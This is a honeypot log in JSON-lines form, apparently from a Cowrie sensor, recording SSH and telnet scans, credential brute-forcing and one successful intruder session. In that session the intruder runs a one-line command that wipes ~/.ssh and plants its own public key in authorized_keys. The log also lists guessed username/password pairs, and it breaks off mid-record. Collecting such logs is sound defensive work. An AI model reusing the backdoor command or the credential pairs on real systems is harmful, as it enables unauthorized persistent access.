{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"502c1ec12c24","protocol":"telnet","message":"New connection: 170.64.224.25:42602 (159.203.135.109:23) [session: 502c1ec12c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:59.886188Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.203.232","src_port":53102,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab248b09aca","protocol":"ssh","message":"New connection: 38.242.203.232:53102 (10.17.0.5:22) [session: 9ab248b09aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:04.545223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:04.553538Z","src_ip":"38.242.203.232","session":"9ab248b09aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.4111750125885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:04.586240Z","src_ip":"170.64.224.25","session":"64f1af20d12a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:04.643972Z","src_ip":"38.242.203.232","session":"9ab248b09aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sw1p3@M@st3r!","message":"login attempt [root/Sw1p3@M@st3r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:04.918803Z","src_ip":"38.242.203.232","session":"9ab248b09aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:06.011992Z","src_ip":"38.242.203.232","session":"9ab248b09aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36244,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac14214da83","protocol":"telnet","message":"New connection: 137.184.5.188:36244 (159.203.135.109:23) [session: 0ac14214da83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:26.977969Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb69829504e8","protocol":"telnet","message":"New connection: 170.64.224.25:47190 (159.203.135.109:23) [session: eb69829504e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:27.507256Z"}
{"eventid":"cowrie.session.closed","duration":45.125508308410645,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:45.011417Z","src_ip":"170.64.224.25","session":"502c1ec12c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.637284994125366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:28:59.615106Z","src_ip":"137.184.5.188","session":"0ac14214da83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.2489230632782,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:14.756027Z","src_ip":"170.64.224.25","session":"eb69829504e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"403255d1f61a","protocol":"ssh","message":"New connection: 66.29.142.197:36782 (159.203.135.109:22) [session: 403255d1f61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:36.936564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:36.939730Z","src_ip":"66.29.142.197","session":"403255d1f61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:37.006557Z","src_ip":"66.29.142.197","session":"403255d1f61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"barbados","password":"Bridgetown#Crypto@P@ss","message":"login attempt [barbados/Bridgetown#Crypto@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:37.227456Z","src_ip":"66.29.142.197","session":"403255d1f61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:38.297055Z","src_ip":"66.29.142.197","session":"403255d1f61a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"43bddca13ddd","protocol":"telnet","message":"New connection: 107.150.146.69:53420 (10.17.0.5:23) [session: 43bddca13ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:29:55.748339Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34592,"dst_ip":"159.203.135.109","dst_port":23,"session":"5306ae19a92f","protocol":"telnet","message":"New connection: 170.64.224.25:34592 (159.203.135.109:23) [session: 5306ae19a92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:14.520609Z"}
{"eventid":"cowrie.session.closed","duration":8.256427764892578,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:22.776896Z","src_ip":"170.64.224.25","session":"5306ae19a92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.02934002876282,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:34.777595Z","src_ip":"107.150.146.69","session":"43bddca13ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55694,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01a07ebd699","protocol":"telnet","message":"New connection: 137.184.5.188:55694 (159.203.135.109:23) [session: c01a07ebd699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:43.918392Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":51264,"dst_ip":"10.17.0.5","dst_port":22,"session":"6475aecda651","protocol":"ssh","message":"New connection: 210.90.155.178:51264 (10.17.0.5:22) [session: 6475aecda651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:46.324109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:46.327945Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:46.531051Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:47.386254Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:47.833982Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:47.836558Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:47.839529Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.247058Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.497165Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.499718Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.708495Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.712018Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":52024,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fbf20705b4","protocol":"ssh","message":"New connection: 210.90.155.178:52024 (10.17.0.5:22) [session: 05fbf20705b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.906611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:48.910701Z","src_ip":"210.90.155.178","session":"05fbf20705b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:49.113909Z","src_ip":"210.90.155.178","session":"05fbf20705b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:49.959737Z","src_ip":"210.90.155.178","session":"05fbf20705b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:51.165298Z","src_ip":"210.90.155.178","session":"05fbf20705b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":52640,"dst_ip":"10.17.0.5","dst_port":22,"session":"44f3043008e2","protocol":"ssh","message":"New connection: 210.90.155.178:52640 (10.17.0.5:22) [session: 44f3043008e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:51.355694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:51.360256Z","src_ip":"210.90.155.178","session":"44f3043008e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:51.586405Z","src_ip":"210.90.155.178","session":"44f3043008e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:52.405838Z","src_ip":"210.90.155.178","session":"44f3043008e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:52.608106Z","src_ip":"210.90.155.178","session":"44f3043008e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:52.612524Z","src_ip":"210.90.155.178","session":"6475aecda651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":58062,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01a6cc3bebd","protocol":"ssh","message":"New connection: 139.19.117.129:58062 (159.203.135.109:22) [session: c01a6cc3bebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:57.999035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.003008Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-